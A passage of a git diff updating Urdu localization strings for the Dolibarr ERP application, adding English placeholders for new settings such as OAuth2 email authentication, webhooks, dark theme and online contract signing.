      کے ذریعے خودکار یاد دہانی کو فعال کریں۔ نوٹ: یاد دہانی بھیجنے کے لیے ماڈیول %s فعال اور درست طریقے سے سیٹ اپ ہونا چاہیے۔ MembersDocModules=ممبر کے ریکارڈ سے تیار کردہ دستاویزات کے لیے دستاویزی ٹیمپلیٹس ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=اعلی درجے کے ایڈیٹر کو فعال کریں: FCKeditorForNotePublic=WYSIWIG عناصر کے "عوامی نوٹس" فیلڈ کا تخلیق/ایڈیشن FCKeditorForNotePrivate=WYSIWIG عناصر کے "نجی نوٹ" فیلڈ کی تخلیق/ایڈیشن FCKeditorForCompany=WYSIWIG عناصر کی فیلڈ تفصیل کا تخلیق/ایڈیشن (سوائے پروڈکٹس/سروسز) -FCKeditorForProduct=WYSIWIG مصنوعات/خدمات کی فیلڈ تفصیل کا تخلیق/ایڈیشن -FCKeditorForProductDetails=WYSIWIG تمام اداروں (تجاویز، آرڈرز، انوائسز وغیرہ...) کے لیے مصنوعات کی تفصیلات کی لائنز کی تخلیق/ایڈیشن۔ تنبیہ: اس کیس کے لیے اس اختیار کو استعمال کرنے کی سنجیدگی سے سفارش نہیں کی جاتی ہے کیونکہ یہ پی ڈی ایف فائلز بناتے وقت خصوصی حروف اور صفحہ کی فارمیٹنگ میں مسائل پیدا کر سکتا ہے۔ +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= بڑے پیمانے پر ای میلنگ کے لیے WYSIWIG تخلیق/ایڈیشن (ٹولز-> ای میلنگ) FCKeditorForUserSignature=WYSIWIG تخلیق/صارف کے دستخط کا ایڈیشن FCKeditorForMail=تمام میل کے لیے WYSIWIG تخلیق/ایڈیشن (سوائے ٹولز-> ای میلنگ) @@ -1762,7 +1790,7 @@ DetailMenuHandler=مینو ہینڈلر جہاں نیا مینو دکھانا ہ DetailMenuModule=ماڈیول کا نام اگر مینو اندراج ماڈیول سے آتا ہے۔ DetailType=مینو کی قسم (اوپر یا بائیں) DetailTitre=ترجمہ کے لیے مینو لیبل یا لیبل کوڈ -DetailUrl=URL جہاں مینو آپ کو بھیجتا ہے (مطلق URL لنک یا http:// کے ساتھ بیرونی لنک) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=اندراج دکھانے یا نہ کرنے کی شرط DetailRight=غیر مجاز گرے مینو ڈسپلے کرنے کی حالت DetailLangs=لیبل کوڈ کے ترجمہ کے لیے Lang فائل کا نام @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=واقعات کی اقسام کا استعمال کریں AGENDA_USE_EVENT_TYPE_DEFAULT=ایونٹ تخلیق فارم میں ایونٹ کی قسم کے لیے اس ڈیفالٹ ویلیو کو خودکار طور پر سیٹ کریں۔ AGENDA_DEFAULT_FILTER_TYPE=ایجنڈا ویو کے سرچ فلٹر میں اس قسم کے ایونٹ کو خودکار طور پر سیٹ کریں۔ AGENDA_DEFAULT_FILTER_STATUS=ایجنڈا ویو کے سرچ فلٹر میں ایونٹس کے لیے خودکار طور پر یہ اسٹیٹس سیٹ کریں۔ +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=مینو ایجنڈا کو منتخب کرتے وقت آپ ڈیفالٹ کے ذریعے کون سا منظر کھولنا چاہتے ہیں۔ AGENDA_REMINDER_BROWSER=صارف کے براؤزر پر ایونٹ کی یاد دہانی کو فعال کریں AGENDA_REMINDER_BROWSER_SOUND=آواز کی اطلاع کو فعال کریں۔ @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=POS میں اسٹاک میں کمی CashDeskYouDidNotDisableStockDecease=آپ نے پوائنٹ آف سیل سے سیل کرتے وقت اسٹاک میں کمی کو غیر فعال نہیں کیا۔ اس لیے گودام کی ضرورت ہے۔ CashDeskForceDecreaseStockLabel=بیچ کی مصنوعات کے اسٹاک میں کمی کو مجبور کیا گیا تھا۔ CashDeskForceDecreaseStockDesc=سب سے پہلے سب سے پرانے کھانے اور فروخت کی تاریخوں سے کم کریں۔ -CashDeskReaderKeyCodeForEnter=بار کوڈ ریڈر میں بیان کردہ "Enter" کے لیے کلیدی کوڈ (مثال: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=بک مارک ماڈیول سیٹ اپ BookmarkDesc=یہ ماڈیول آپ کو بک مارکس کا انتظام کرنے کی اجازت دیتا ہے۔ آپ اپنے بائیں مینو میں کسی بھی Dolibarr صفحات یا بیرونی ویب سائٹس میں شارٹ کٹس بھی شامل کر سکتے ہیں۔ @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=وینڈر انوائسز نمبرنگ ماڈلز IfSetToYesDontForgetPermission=اگر غیر null قدر پر سیٹ ہے تو، دوسری منظوری کے لیے اجازت یافتہ گروپوں یا صارفین کو اجازت دینا نہ بھولیں۔ ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind ماڈیول سیٹ اپ -PathToGeoIPMaxmindCountryDataFile=میکس مائنڈ آئی پی ٹو کنٹری ترجمہ پر مشتمل فائل کا راستہ۔
      مثالیں:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat a0342fccfda19bz/Cousr/Cosme/Couser +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=نوٹ کریں کہ آپ کی آئی پی ٹو کنٹری ڈیٹا فائل ایک ڈائرکٹری کے اندر ہونی چاہیے جسے آپ کا پی ایچ پی پڑھ سکتا ہے (اپنا پی ایچ پی اوپن_بیسڈر سیٹ اپ اور فائل سسٹم کی اجازتوں کو چیک کریں)۔ YouCanDownloadFreeDatFileTo=آپ %s پر Maxmind GeoIP کنٹری فائل کا مفت ڈیمو ورژن ڈاؤن لوڈ کرسکتے ہیں۔ YouCanDownloadAdvancedDatFileTo=آپ %s پر Maxmind GeoIP کنٹری فائل کے
      اپ ڈیٹس کے ساتھ مزید مکمل ورژن بھی ڈاؤن لوڈ کر سکتے ہیں۔ @@ -1922,6 +1953,7 @@ BackupDumpWizard=ڈیٹا بیس ڈمپ فائل بنانے کے لیے وزرڈ BackupZipWizard=دستاویزات کی ڈائرکٹری کے آرکائیو بنانے کے لیے مددگار SomethingMakeInstallFromWebNotPossible=مندرجہ ذیل وجہ سے ویب انٹرفیس سے بیرونی ماڈیول کی تنصیب ممکن نہیں ہے۔ SomethingMakeInstallFromWebNotPossible2=اس وجہ سے، یہاں بیان کردہ اپ گریڈ کرنے کا عمل ایک دستی عمل ہے جو صرف ایک مراعات یافتہ صارف انجام دے سکتا ہے۔ +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=آپ کے منتظم کے ذریعہ ایپلیکیشن سے بیرونی ماڈیول کی تنصیب کو غیر فعال کر دیا گیا ہے۔ اس خصوصیت کی اجازت دینے کے لیے آپ کو اس سے فائل %s کو ہٹانے کے لیے کہنا چاہیے۔ ConfFileMustContainCustom=ایپلیکیشن سے کسی بیرونی ماڈیول کو انسٹال کرنے یا بنانے کے لیے ماڈیول فائلوں کو ڈائرکٹری میں محفوظ کرنے کی ضرورت ہے %s ۔ اس ڈائرکٹری کو Dolibarr کے ذریعے پروسیس کرنے کے لیے، آپ کو اپنا conf/conf.php سیٹ اپ کرنا چاہیے تاکہ 2 ڈائرکٹیو لائنیں شامل کی جا سکیں:
      _c06bz0.
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=جب ماؤس کی حرکت گزر جاتی ہے تو ٹیبل لائنوں کو نمایاں کریں۔ @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=خریداری کے احکامات MailToSendSupplierInvoice=وینڈر کی رسیدیں MailToSendContract=معاہدے MailToSendReception=استقبالیہ +MailToExpenseReport=Expense reports MailToThirdparty=تیسرے فریقوں MailToMember=ممبران MailToUser=صارفین @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=پی ڈی ایف پر دایاں مارجن MAIN_PDF_MARGIN_TOP=پی ڈی ایف پر ٹاپ مارجن MAIN_PDF_MARGIN_BOTTOM=پی ڈی ایف پر نیچے کا مارجن MAIN_DOCUMENTS_LOGO_HEIGHT=پی ڈی ایف پر لوگو کی اونچائی +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=پروپوزل لائنز پر تصویر کے لیے کالم شامل کریں۔ MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=کالم کی چوڑائی اگر لائنوں پر تصویر شامل کی جائے۔ MAIN_PDF_NO_SENDER_FRAME=مرسل ایڈریس فریم پر بارڈرز چھپائیں۔ @@ -2047,6 +2081,8 @@ RemoveSpecialChars=خصوصی حروف کو ہٹا دیں۔ COMPANY_AQUARIUM_CLEAN_REGEX=کلین ویلیو کے لیے ریجیکس فلٹر (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=کلین ویلیو کے لیے ریجیکس فلٹر (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=نقل کی اجازت نہیں ہے۔ +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=ڈیٹا پروٹیکشن آفیسر (ڈی پی او، ڈیٹا پرائیویسی یا جی ڈی پی آر رابطہ) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=ٹول ٹپ پر دکھانے کے لیے متن کی مدد کریں۔ @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=باقاعدگی سے ای میل باکسز (IMAP پروٹوکول کا استعمال کرتے ہوئے) اسکین کرنے کے لیے ایک طے شدہ جاب اور سیٹ اپ صفحہ شامل کریں اور اپنی درخواست میں موصول ہونے والی ای میلز کو صحیح جگہ پر ریکارڈ کریں اور/یا کچھ ریکارڈ خود بخود بنائیں (جیسے لیڈز)۔ NewEmailCollector=نیا ای میل کلکٹر EMailHost=ای میل IMAP سرور کا میزبان +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=میل باکس سورس ڈائرکٹری MailboxTargetDirectory=میل باکس ٹارگٹ ڈائرکٹری EmailcollectorOperations=کلیکٹر کے ذریعہ کرنے کے لئے آپریشن EmailcollectorOperationsDesc=اوپر سے نیچے کے حکم تک آپریشنز کیے جاتے ہیں۔ MaxEmailCollectPerCollect=فی جمع کردہ ای میلز کی زیادہ سے زیادہ تعداد +TestCollectNow=Test collect CollectNow=ابھی جمع کریں۔ ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=جمع کرنے کی تازہ ترین کوشش کی تاریخ @@ -2097,6 +2140,7 @@ CodeLastResult=تازہ ترین نتیجہ کوڈ NbOfEmailsInInbox=سورس ڈائرکٹری میں ای میلز کی تعداد LoadThirdPartyFromName=%s پر تیسرے فریق کی تلاش کو لوڈ کریں (صرف لوڈ) LoadThirdPartyFromNameOrCreate=%s پر تیسرے فریق کی تلاش کو لوڈ کریں (اگر نہیں ملا تو بنائیں) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Dolibarr سے بھیجے گئے پہلے ای میل کے ذریعے شروع کی گئی گفتگو کا پیغام WithoutDolTrackingID=Dolibarr سے نہیں بھیجے گئے پہلے ای میل کے ذریعے شروع کی گئی گفتگو کا پیغام @@ -2106,7 +2150,7 @@ CreateCandidature=ملازمت کی درخواست بنائیں FormatZip=زپ MainMenuCode=مینو انٹری کوڈ (مین مینو) ECMAutoTree=خودکار ECM درخت دکھائیں۔ -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=ابتدائی گھنٹے OpeningHoursDesc=اپنی کمپنی کے باقاعدہ کھلنے کے اوقات یہاں درج کریں۔ ResourceSetup=وسائل کے ماڈیول کی ترتیب @@ -2171,6 +2215,7 @@ ShowProjectLabel=پروجیکٹ لیبل PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=اگر آپ چاہتے ہیں کہ آپ کی پی ڈی ایف میں کچھ متن ایک ہی جنریٹڈ پی ڈی ایف میں 2 مختلف زبانوں میں ڈپلیکیٹ ہوں، تو آپ کو یہاں یہ دوسری زبان سیٹ کرنی ہوگی تاکہ جنریٹ کی گئی پی ڈی ایف ایک ہی صفحہ میں 2 مختلف زبانوں پر مشتمل ہو، جو پی ڈی ایف بنانے کے وقت منتخب کی گئی ہو اور یہ ( صرف چند پی ڈی ایف ٹیمپلیٹس اس کی حمایت کرتے ہیں)۔ فی پی ڈی ایف 1 زبان کے لیے خالی رکھیں۔ PDF_USE_A=ڈیفالٹ فارمیٹ پی ڈی ایف کے بجائے PDF/A فارمیٹ کے ساتھ پی ڈی ایف دستاویزات تیار کریں۔ FafaIconSocialNetworksDesc=یہاں ایک FontAwesome آئیکن کا کوڈ درج کریں۔ اگر آپ نہیں جانتے کہ FontAwesome کیا ہے، تو آپ عام قدر fa-address-book استعمال کر سکتے ہیں۔ @@ -2199,12 +2244,12 @@ MailToPartnership=شراکت داری AGENDA_EVENT_DEFAULT_STATUS=فارم سے ایونٹ بناتے وقت ڈیفالٹ ایونٹ کی حیثیت YouShouldDisablePHPFunctions=آپ کو پی ایچ پی کے افعال کو غیر فعال کرنا چاہئے۔ IfCLINotRequiredYouShouldDisablePHPFunctions=سوائے اس کے کہ اگر آپ کو کسٹم کوڈ میں سسٹم کمانڈ چلانے کی ضرورت ہو، تو آپ کو پی ایچ پی فنکشنز کو غیر فعال کرنا چاہیے۔ -PHPFunctionsRequiredForCLI=شیل مقصد کے لیے (جیسا کہ طے شدہ جاب بیک اپ کرنا یا اینی ٹیوورس پروگرام چلانا)، آپ کو پی ایچ پی کے افعال کو برقرار رکھنا چاہیے۔ +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=آپ کی روٹ ڈائرکٹری (اچھی) میں عام پروگراموں کی کوئی قابل تحریر فائل یا ڈائرکٹری نہیں ملی RecommendedValueIs=تجویز کردہ: %s Recommended=تجویز کردہ NotRecommended=تجویز کردہ نہیں -ARestrictedPath=کچھ محدود راستہ +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=بیرونی ماڈیولز کی تازہ کاریوں کی جانچ کریں۔ CheckForModuleUpdateHelp=یہ عمل بیرونی ماڈیولز کے ایڈیٹرز سے رابطہ کرے گا تاکہ یہ چیک کیا جا سکے کہ آیا کوئی نیا ورژن دستیاب ہے۔ ModuleUpdateAvailable=ایک اپ ڈیٹ دستیاب ہے۔ @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=بیرونی ماڈیولز کے لیے کوئی اپ SwaggerDescriptionFile=سویگر API تفصیل فائل (مثال کے طور پر redoc کے ساتھ استعمال کے لیے) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=آپ نے فرسودہ WS API کو فعال کیا۔ اس کے بجائے آپ کو REST API استعمال کرنا چاہیے۔ RandomlySelectedIfSeveral=اگر متعدد تصاویر دستیاب ہوں تو تصادفی طور پر منتخب کریں۔ +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=ڈیٹا بیس کا پاس ورڈ conf فائل میں مبہم ہے۔ DatabasePasswordNotObfuscated=ڈیٹا بیس کا پاس ورڈ conf فائل میں مبہم نہیں ہے۔ APIsAreNotEnabled=APIs ماڈیولز فعال نہیں ہیں۔ @@ -2251,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/ur_PK/categories.lang b/htdocs/langs/ur_PK/categories.lang index 51a89cb8a61..f9d26dc3a85 100644 --- a/htdocs/langs/ur_PK/categories.lang +++ b/htdocs/langs/ur_PK/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=یہ ممبر کسی ٹیگ/کیٹیگری میں نہیں ContactHasNoCategory=یہ رابطہ کسی ٹیگ/کیٹیگری میں نہیں ہے۔ ProjectHasNoCategory=یہ منصوبہ کسی بھی ٹیگ/زمرے میں نہیں ہے۔ ClassifyInCategory=ٹیگ/زمرہ میں شامل کریں۔ +RemoveCategory=Remove category NotCategorized=ٹیگ/زمرہ کے بغیر CategoryExistsAtSameLevel=یہ زمرہ اس حوالہ کے ساتھ پہلے سے موجود ہے۔ ContentsVisibleByAllShort=مواد سب کو نظر آتا ہے۔ @@ -67,6 +68,7 @@ StockCategoriesShort=گودام کے ٹیگ/زمرے ThisCategoryHasNoItems=اس زمرے میں کوئی آئٹم نہیں ہے۔ CategId=ٹیگ/زمرہ کی شناخت ParentCategory=پیرنٹ ٹیگ/زمرہ +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=پیرنٹ ٹیگ/زمرہ کا لیبل CatSupList=دکانداروں کے ٹیگ/زمرے کی فہرست CatCusList=صارفین/ممکنہ ٹیگز/زمرے کی فہرست @@ -86,15 +88,18 @@ DeleteFromCat=ٹیگز/زمرہ سے ہٹا دیں۔ ExtraFieldsCategories=تکمیلی صفات CategoriesSetup=ٹیگز/کیٹیگریز سیٹ اپ CategorieRecursiv=پیرنٹ ٹیگ/زمرہ کے ساتھ خود بخود لنک کریں۔ -CategorieRecursivHelp=اگر آپشن آن ہے، جب آپ کسی پروڈکٹ کو ذیلی زمرہ میں شامل کرتے ہیں، تو پروڈکٹ کو بھی پیرنٹ کیٹیگری میں شامل کر دیا جائے گا۔ +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=درج ذیل پروڈکٹ/سروس شامل کریں۔ AddCustomerIntoCategory=گاہک کو زمرہ تفویض کریں۔ AddSupplierIntoCategory=سپلائر کو زمرہ تفویض کریں۔ +AssignCategoryTo=Assign category to ShowCategory=ٹیگ/زمرہ دکھائیں۔ ByDefaultInList=فہرست میں بطور ڈیفالٹ ChooseCategory=زمرہ منتخب کریں۔ StocksCategoriesArea=گودام کے زمرے +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=ایونٹ کے زمرے WebsitePagesCategoriesArea=صفحہ کنٹینر زمرہ جات KnowledgemanagementsCategoriesArea=KM مضمون کے زمرے UseOrOperatorForCategories=زمرہ جات کے لیے 'OR' آپریٹر استعمال کریں۔ +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/ur_PK/commercial.lang b/htdocs/langs/ur_PK/commercial.lang index 2d111025699..aa2e759a7be 100644 --- a/htdocs/langs/ur_PK/commercial.lang +++ b/htdocs/langs/ur_PK/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=امکانی حیثیت DraftPropals=تجارتی تجاویز کا مسودہ NoLimit=کوئی حد نہیں ToOfferALinkForOnlineSignature=آن لائن دستخط کے لیے لنک -WelcomeOnOnlineSignaturePage=%s سے تجارتی تجاویز قبول کرنے کے لیے صفحہ پر خوش آمدید -ThisScreenAllowsYouToSignDocFrom=یہ اسکرین آپ کو ایک اقتباس/تجارتی تجویز کو قبول کرنے اور اس پر دستخط کرنے، یا انکار کرنے کی اجازت دیتی ہے۔ -ThisIsInformationOnDocumentToSign=یہ قبول کرنے یا انکار کرنے کے لیے دستاویز کی معلومات ہے۔ +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=اقتباس/تجارتی تجویز %s کے دستخط +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=آن لائن دستخط کرنے کی خصوصیت غیر فعال یا خصوصیت کے فعال ہونے سے پہلے تیار کردہ دستاویز diff --git a/htdocs/langs/ur_PK/compta.lang b/htdocs/langs/ur_PK/compta.lang index f442eed2da1..9302a6754ff 100644 --- a/htdocs/langs/ur_PK/compta.lang +++ b/htdocs/langs/ur_PK/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=توازن (پہلے) Balance=بقیہ Debit=ڈیبٹ Credit=کریڈٹ +AccountingDebit=Debit +AccountingCredit=Credit Piece=اکاؤنٹنگ ڈاکٹر AmountHTVATRealReceived=نیٹ جمع AmountHTVATRealPaid=خالص ادائیگی @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=فی پروڈکٹ جمع ہ TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=فی سیل ٹیکس کی شرح سے جمع ہونے والے ٹرن اوور کی رپورٹ دستیاب نہیں ہے۔ یہ رپورٹ صرف ٹرن اوور انوائس کے لیے دستیاب ہے۔ CalculationMode=کیلکولیشن موڈ AccountancyJournal=اکاؤنٹنگ کوڈ جرنل -ACCOUNTING_VAT_SOLD_ACCOUNT=سیلز پر VAT کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر VAT ڈکشنری سیٹ اپ پر وضاحت نہیں کی گئی ہے تو استعمال کیا جاتا ہے) -ACCOUNTING_VAT_BUY_ACCOUNT=خریداریوں پر VAT کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر VAT لغت کے سیٹ اپ پر وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_VAT_PAY_ACCOUNT=VAT کی ادائیگی کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ -ACCOUNTING_ACCOUNT_CUSTOMER=اکاؤنٹنگ اکاؤنٹ کسٹمر تھرڈ پارٹیز کے لیے استعمال کیا جاتا ہے۔ +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=تھرڈ پارٹی کارڈ پر بیان کردہ وقف اکاؤنٹنگ اکاؤنٹ صرف Subledger اکاؤنٹنگ کے لیے استعمال کیا جائے گا۔ یہ جنرل لیجر کے لیے اور سبلیجر اکاؤنٹنگ کی ڈیفالٹ ویلیو کے طور پر استعمال کیا جائے گا اگر تھرڈ پارٹی پر مخصوص کسٹمر اکاؤنٹنگ اکاؤنٹ کی وضاحت نہیں کی گئی ہے۔ -ACCOUNTING_ACCOUNT_SUPPLIER=وینڈر تھرڈ پارٹیز کے لیے اکاؤنٹنگ 